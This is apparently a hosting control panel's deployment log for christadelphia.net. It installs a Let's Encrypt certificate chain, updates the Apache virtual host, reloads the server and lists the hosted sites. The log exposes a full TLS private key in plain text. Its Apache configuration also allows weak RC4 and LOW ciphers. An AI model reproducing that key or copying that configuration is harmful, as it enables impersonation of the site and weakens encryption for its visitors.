44:8f:c5:83:4e:a4:0d:1c:6c:f2:08:5d:89:fa:ea:2c

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBc+JyUqlAIrfwDcG4DQqJhdZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MTMzODA1WhcNMjYwOTE1MTMzODA0WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCUP930yRf2iB4aVhmUzQ8mbydDQIKLLwwbuAsrJLCOvdr6UtfuPIM0jqrO
KzsgdSSZ9KmeKtrkRtbr/BZFHU3FFVyXXIJJW6oUI7NRI3KyK/kTDqPagEQAPORE
G0jU2r8X6/Rh0xoUsq49XAFeYLiTiYD9hrdlEHezuysoXIL4VCKeRtL5QY6l6jET
+gOFYz/nomomHJGH56ZPKW4cI27/78bcoA0CGL+qvnKorHFm+3KRdrxLy5ALFnOr
wIpxiMR0mnAJnf+U2VJ8fFcIuUCCgdflU7u6vTM5CdNcwkIvDkW2f7ItF5n7+G+g
iXqeftSeHY1UB/yAIygucYlD4clrAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
heR1DZ2i2z50KAUotxRlrhvwL10wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjaHJpc3RhZGVscGhpYS5uZXSCFnd3dy5j
aHJpc3RhZGVscGhpYS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy85MC5jcmwwggENBgorBgEE
AdZ5AgQCBIH+BIH7APkAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VL
FAAAAZ7WAzjMAAAEAwBIMEYCIQC+r6IBQriz7Vnz+luDfzVCchWcadxHjLmO8ooa
EktOzwIhAKAH8jefpKelCfRe3VNKjzFan9XtZ3sYVYpRdY/uZVQRAH4AqCbL4wrG
NRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGe1gM8LQAIAAAFAA/skFMEAwBH
MEUCIEXIamg/HhvBNSTeor9CuteIY7ztZ8zdEoxkIKVMeWDjAiEAl/JY9u8lflhr
o1/ScRjYapHQyGtNRcj2egAK9ZAILhswDQYJKoZIhvcNAQELBQADggEBADyRVEJ7
9/knq4J4Bgxw7ptcMVRzz5Aonl3+nu2YO3BlmgkHCAybcjqCPwM7803/v+9d0rjf
ukk3EY4D89d+pVirs3lZGikwSWrZKjljP7o+3ZYadz2iRzbfWN7UtZmfyUUOLFlz
j/mSmBF63TUJsou+zlNVTYN9ct+z8crP2+11uM2AUhEHkE/7YfkatezzAbC7A9yg
K/C6zAHAR0d745C/Gm81EgPRL2xoX1roJOC9b8qXvGVEIWUCqlrHvL14NjQrZK3d
QU+DV/xoeqCSXokyHvW34KPizQETqVFluX0oTPvBz8dPzvGmiIAQlrsV6KNydHKt
uaxP7x2XgzCawRs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCUP930yRf2iB4a
VhmUzQ8mbydDQIKLLwwbuAsrJLCOvdr6UtfuPIM0jqrOKzsgdSSZ9KmeKtrkRtbr
/BZFHU3FFVyXXIJJW6oUI7NRI3KyK/kTDqPagEQAPOREG0jU2r8X6/Rh0xoUsq49
XAFeYLiTiYD9hrdlEHezuysoXIL4VCKeRtL5QY6l6jET+gOFYz/nomomHJGH56ZP
KW4cI27/78bcoA0CGL+qvnKorHFm+3KRdrxLy5ALFnOrwIpxiMR0mnAJnf+U2VJ8
fFcIuUCCgdflU7u6vTM5CdNcwkIvDkW2f7ItF5n7+G+giXqeftSeHY1UB/yAIygu
cYlD4clrAgMBAAECggEAQySR8DXLppqLl737JAujmvKow6rJ9SO/xiYa2NVrKZsP
PGSc64d4nSsobOvjgZXMl/XZhItATDdRS9wGchMNj/9Wyi7Zy0O6yhhJNKxrXArS
ajEtQN7q7XimoboByHWyKrFxI4UqwMkUZTHwZMBFmHykcS68jQdiT4Krz0HnB3TS
7AAgg7vfVWYUKFh+83LC2JaSzoXRQJ/TpbXeiG2rp1Q+ZetYEFtfY3gDDL+t4if4
R0dNHkNL4duGA3wX2RP+o+SUHvQF0+zMbXfi3pCBEvfwxuajxqhBadqkZ+fUk1YG
Khb5zK9/jr1/1GwEyCcco3cULDZqWQdi6nM8Nz2k8QKBgQDNRoNZUVFTpKAKjgVx
IC5In9KsSyAEfNIuMPVMnCAvwXF0f8rFEgl7TrPD09LvD//mHBPeXxmVn8SSkc/g
q2QYirUlyXynT+OHfrjpk8Jr6izZ3Xs/+r9EpwezbKUT99+svCE3lZu1SXqZIWK3
kB7ZJnGcpkJcdFWL4OPBq8XwxQKBgQC44fUmPRMH4j7fhUbo61vcbbsdzhQZNYIj
h8ZaVanTKtRzbbSTedYatkMIWY+kKuB6/cOzxUJfY03PPUiOIVNVejHPCpG8YtBK
GcGzH7AguMCY0gyoRurWCmRkmoCr64DUjoy+NnYlrJDb8r3f4Oxi8Ts8Jsoa77kn
MoovnzMUbwKBgDfrVoq1UT9E4GgfqjHX/2O/Tgera2xtiGAW7CvTeB0qSDrhOR6Y
PEb/+I6HHLYNGLvZuDvikjilTkpTOFrOtbTNzG0fxzpY0/WsOrk+jD8TiuZKpHGY
YBRWoA1rskiPRLpsgWv/8GvhOWmPo7G3q/+hrl9rFzbSZh91wvWWUpS1AoGAEqLE
ITyaxHqrt8Apa6T9t3RgHhr9r6TTH126QrTLz3tLuu7d+teXG04v55GPhw7DXeJi
baZ+kDrkRvV4cMsvKTiN+L6p/gE/2ZhLDBEvoby9vSm/GN89IKIfiHyCZ9HvRH2x
9iJrOlTwrRsExKJZcYe7Xs7SJHDxit/vSemULoUCgYA+OqiYE4CSXQni7vco4yBW
rHBnovY0fWGzrjsYSDlqoYGk1d8r49oZhrOQ/DpbUh1essAjv7k7caRWHXspcKpc
mOD5qVk7J1+mESCMXdX2eNlH/xF9+xLuqatlV7uYTVNZr0tLHCkZeoBCs4AS/0Yn
tBcP9fQUOeNyo2tvRnEj6g==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-17 14:36:37: 

chmod 755 /tmp/pkp100365; /tmp/pkp100365; rm /tmp/pkp100365

2026-06-17 14:36:37: 


dir=/etc/ssl/certs


2026-06-17 14:36:37: 

PUT: /tmp/pkp464215

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-17 14:36:37: 

chmod 755 /tmp/pkp464215; /tmp/pkp464215; rm /tmp/pkp464215

2026-06-17 14:36:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-17 14:36:38: 

PUT: /tmp/pkp258793

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi


2026-06-17 14:36:38: 

chmod 755 /tmp/pkp258793; /tmp/pkp258793; rm /tmp/pkp258793

2026-06-17 14:36:38: 




2026-06-17 14:36:38: 

PUT: /tmp/pkp672160

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-17 14:36:38: 

chmod 755 /tmp/pkp672160; /tmp/pkp672160; rm /tmp/pkp672160

2026-06-17 14:36:38: 


.


2026-06-17 14:36:38: Establishing a connection
2026-06-17 14:36:38: 

PUT: /tmp/pkp599960

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-17 14:36:39: 

chmod 755 /tmp/pkp599960; /tmp/pkp599960; rm /tmp/pkp599960

2026-06-17 14:36:39: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-17 14:36:39: 

PUT: /tmp/pkp919819

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphia_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 14:36:39: 

chmod 755 /tmp/pkp919819; /tmp/pkp919819; rm /tmp/pkp919819

2026-06-17 14:36:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf	1431

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-17 14:36:39: 

PUT: /tmp/pkp608139

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-17 14:36:39: 

chmod 755 /tmp/pkp608139; /tmp/pkp608139; rm /tmp/pkp608139

2026-06-17 14:36:39: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt	7457
44:8f:c5:83:4e:a4:0d:1c:6c:f2:08:5d:89:fa:ea:2c

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBc+JyUqlAIrfwDcG4DQqJhdZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjE3MTMzODA1WhcNMjYwOTE1MTMzODA0WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCUP930yRf2iB4aVhmUzQ8mbydDQIKLLwwbuAsrJLCOvdr6UtfuPIM0jqrO
KzsgdSSZ9KmeKtrkRtbr/BZFHU3FFVyXXIJJW6oUI7NRI3KyK/kTDqPagEQAPORE
G0jU2r8X6/Rh0xoUsq49XAFeYLiTiYD9hrdlEHezuysoXIL4VCKeRtL5QY6l6jET
+gOFYz/nomomHJGH56ZPKW4cI27/78bcoA0CGL+qvnKorHFm+3KRdrxLy5ALFnOr
wIpxiMR0mnAJnf+U2VJ8fFcIuUCCgdflU7u6vTM5CdNcwkIvDkW2f7ItF5n7+G+g
iXqeftSeHY1UB/yAIygucYlD4clrAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
heR1DZ2i2z50KAUotxRlrhvwL10wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4
+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjaHJpc3RhZGVscGhpYS5uZXSCFnd3dy5j
aHJpc3RhZGVscGhpYS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy85MC5jcmwwggENBgorBgEE
AdZ5AgQCBIH+BIH7APkAdwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VL
FAAAAZ7WAzjMAAAEAwBIMEYCIQC+r6IBQriz7Vnz+luDfzVCchWcadxHjLmO8ooa
EktOzwIhAKAH8jefpKelCfRe3VNKjzFan9XtZ3sYVYpRdY/uZVQRAH4AqCbL4wrG
NRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGe1gM8LQAIAAAFAA/skFMEAwBH
